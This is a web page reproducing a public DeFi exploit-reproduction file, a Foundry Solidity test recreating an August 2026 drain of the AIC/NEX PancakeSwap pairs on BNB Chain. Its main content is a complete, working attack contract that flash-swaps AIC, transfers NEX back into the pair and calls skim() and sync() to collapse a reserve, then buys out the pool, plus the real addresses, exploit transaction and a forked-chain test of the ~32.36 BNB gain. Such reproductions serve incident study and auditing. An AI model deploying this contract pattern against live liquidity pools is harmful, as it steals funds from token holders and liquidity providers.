Public reproduction file
src/test/2026-08/AIC_exp.sol
Public reproduction file for dataset entry AIC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// AIC — PancakeSwap-pair skim / reserve-mismatch drain, flash-swap leveraged, on BNB Chain.8// ~32.36 BNB (~$21.5K) netted by the attacker EOA in a single tx.9//10// Exploit tx : 0x905cc861bcc525d3a8e699583943831b97500bbac11c92dc20ed6edbddd69f87 (block 113782392)11// Attacker : 0xC3cB0872C42BFA5EB3B0258D7EEA2cCaF6a4947512// AIC (FoT) : 0xc0DC449De632586A00409873521AFC251aC5cE74 (victim, fee-on-transfer token)13// NEX : 0xaE04AE29bdB7aB7Eb249d3aFa7Bc3D37564e8Cf9 (also fee-on-transfer)14// USDC/AIC : 0xe89636FB73D04Db51e5Fbd0Ce1379fb8d2b96415 (flash-swap source; AIC = token1)15// NEX/AIC : 0x974C0078740480aE830D379fDB8d5f441C9dDC75 (skim victim; NEX = token0, AIC = token1)16//17// Root cause (reproducible contract mechanism, NOT a key/signer/admin compromise; the token/pair18// sources are unverified on BscScan, so the vulnerability is described from the observed on-chain19// behaviour): AIC and NEX are fee-on-transfer tokens, and a Uniswap-V2-style pair's skim() is a20// PUBLIC function that pays any caller the difference between a token's real balance and the21// pair's recorded reserve. By swapping a flash-borrowed pile of AIC into the NEX/AIC pair, then22// transferring most of the NEX received back into that pair and calling the public skim() + sync()23// on it, the attacker collapses the pair's NEX reserve to ~1 while its AIC reserve stays at the24// full ~83.26M. A tiny retained NEX amount then buys essentially the entire AIC reserve at the25// wrecked ratio. Every step (flash swap, router swaps, skim, sync) is a permissionless public call.26//27// Exact sequence, reconstructed 1:1 from the on-chain trace as ordinary typed calls (no bytecode28// blob, no raw calldata replay, no redeploy of the original attack contract):29// 1. flash-swap ~42.98M AIC (the pair's whole AIC balance, minus 1 wei) out of the USDC/AIC pair.30// In the pancakeCall callback:31// 2. swap all the borrowed AIC -> NEX through the NEX/AIC pair (AIC piles into that pair).32// 3. transfer ~33.77M of the received NEX back into the NEX/AIC pair, keep a ~19.35k-NEX sliver.33// 4. skim() the pair (surplus paid to the router address) and sync() it -> NEX reserve ~1,34// AIC reserve ~83.26M.35// 5. swap the retained NEX -> ~83.26M AIC at the wrecked ratio.36// 6. repay the flash swap: ~43.09M AIC (borrow + ~0.26% pancake fee) to the USDC/AIC pair.37// 7. dump the remaining ~40.17M AIC -> USDC -> WBNB and forward the ~32.36 BNB to the attacker.38// (A ~2M-NEX residue ends at a helper 0x0f7e35653f6A8E09A0865a183B51177e16237CB5 in the original39// incident; it is not part of the EOA's BNB gain and is out of scope for the assertion below.)40//41// forge test --contracts src/test/2026-08/AIC_exp.sol -vvv43interface IPancakePair {44 function swap(45 uint256 amount0Out,46 uint256 amount1Out,47 address to,48 bytes calldata data49 ) external;50 function skim(51 address to52 ) external;53 function sync() external;54}56interface IPancakeRouter {57 function swapExactTokensForTokensSupportingFeeOnTransferTokens(58 uint256 amountIn,59 uint256 amountOutMin,60 address[] calldata path,61 address to,62 uint256 deadline63 ) external;64 function swapExactTokensForETHSupportingFeeOnTransferTokens(65 uint256 amountIn,66 uint256 amountOutMin,67 address[] calldata path,68 address to,69 uint256 deadline70 ) external;71}73contract AICAttack {74 IPancakeRouter internal constant ROUTER = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);75 address internal constant USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;76 address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;77 address internal constant AIC = 0xc0DC449De632586A00409873521AFC251aC5cE74;78 address internal constant NEX = 0xaE04AE29bdB7aB7Eb249d3aFa7Bc3D37564e8Cf9;79 IPancakePair internal constant NA = IPancakePair(0x974C0078740480aE830D379fDB8d5f441C9dDC75); // NEX/AIC80 IPancakePair internal constant UA = IPancakePair(0xe89636FB73D04Db51e5Fbd0Ce1379fb8d2b96415); // USDC/AIC, AIC=token182 // NEX amount transferred back into the NEX/AIC pair before the skim (observed on-chain); the83 // sliver kept is what then buys out the whole AIC reserve.84 uint256 internal constant NEX_INTO_PAIR = 33_765_346_758_312_339_612_076_744;86 address internal immutable owner;88 constructor() {89 owner = msg.sender;90 }92 function attack() external {93 // Flash-swap the USDC/AIC pair's entire AIC balance (token1), minus 1 wei.94 uint256 flashAmt = IERC20(AIC).balanceOf(address(UA)) - 1;95 UA.sync();96 UA.swap(0, flashAmt, address(this), abi.encode(flashAmt));98 // Dump the leftover AIC to BNB and forward it to the attacker EOA.99 IERC20(AIC).approve(address(ROUTER), type(uint256).max);100 address[] memory path = new address[](3);101 path[0] = AIC;102 path[1] = USDC;103 path[2] = WBNB;104 ROUTER.swapExactTokensForETHSupportingFeeOnTransferTokens(105 IERC20(AIC).balanceOf(address(this)), 0, path, owner, block.timestamp106 );107 }109 function pancakeCall(110 address,111 uint256,112 uint256 amount1,113 bytes calldata114 ) external {115 require(msg.sender == address(UA), "not pair");116 uint256 borrowed = amount1;118 IERC20(AIC).approve(address(ROUTER), type(uint256).max);119 IERC20(NEX).approve(address(ROUTER), type(uint256).max);121 // 2. AIC -> NEX through the NEX/AIC pair (piles the borrowed AIC into that pair).122 address[] memory p1 = new address[](2);123 p1[0] = AIC;124 p1[1] = NEX;125 ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(borrowed, 0, p1, address(this), block.timestamp);127 // 3-4. Transfer most NEX back into the pair, skim the surplus out, and sync so the pair's128 // NEX reserve collapses to ~1 while its AIC reserve stays at ~83.26M.129 IERC20(NEX).transfer(address(NA), NEX_INTO_PAIR);130 NA.skim(address(ROUTER));131 NA.sync();133 // 5. Buy out the whole AIC reserve with the retained NEX sliver.134 address[] memory p2 = new address[](2);135 p2[0] = NEX;136 p2[1] = AIC;137 ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(138 IERC20(NEX).balanceOf(address(this)), 0, p2, address(this), block.timestamp139 );141 // 6. Repay the flash swap (borrow + ~0.26% fee).142 IERC20(AIC).transfer(msg.sender, (borrowed * 10_026) / 10_000);143 }145 receive() external payable {}146}148contract AICExp is BaseTestWithBalanceLog {149 address internal constant ATTACKER = 0xC3cB0872C42BFA5EB3B0258D7EEA2cCaF6a49475;150 uint256 internal constant FORK_BLOCK = 113_782_391; // parent of the exploit block 113782392152 function setUp() public {153 vm.createSelectFork("bsc", FORK_BLOCK);154 vm.label(ATTACKER, "AttackerEOA");155 vm.label(0x974C0078740480aE830D379fDB8d5f441C9dDC75, "NEX_AIC_pair");156 vm.label(0xe89636FB73D04Db51e5Fbd0Ce1379fb8d2b96415, "USDC_AIC_pair");157 }159 /// forge-config: default.evm_version = "cancun"160 function testExploit() public {161 uint256 before = ATTACKER.balance;163 vm.prank(ATTACKER, ATTACKER);164 AICAttack exploit = new AICAttack();165 exploit.attack();167 uint256 gain = ATTACKER.balance - before;168 emit log_named_decimal_uint("attacker BNB gain", gain, 18);170 // Reproduced gain matches the reported ~32.36 BNB.171 assertApproxEqAbs(gain, 32.36e18, 0.1e18, "BNB gain off expected ~32.36");172 }173}Analysis
Dataset entry
Public Foundry test for “AIC” (2026-08-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc3cb0872c42bfa5eb3b0258d7eea2ccaf6a49475
File record
- Name
- AIC
- Path
- src/test/2026-08/AIC_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- dd0307685a3e1a6648276f806e53df96154cf484
- Language
- Solidity
- Size
- 174 lines
- Date
- 2026-08-03
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/AIC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob dd0307685a3e1a6648276f806e53df96154cf484, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.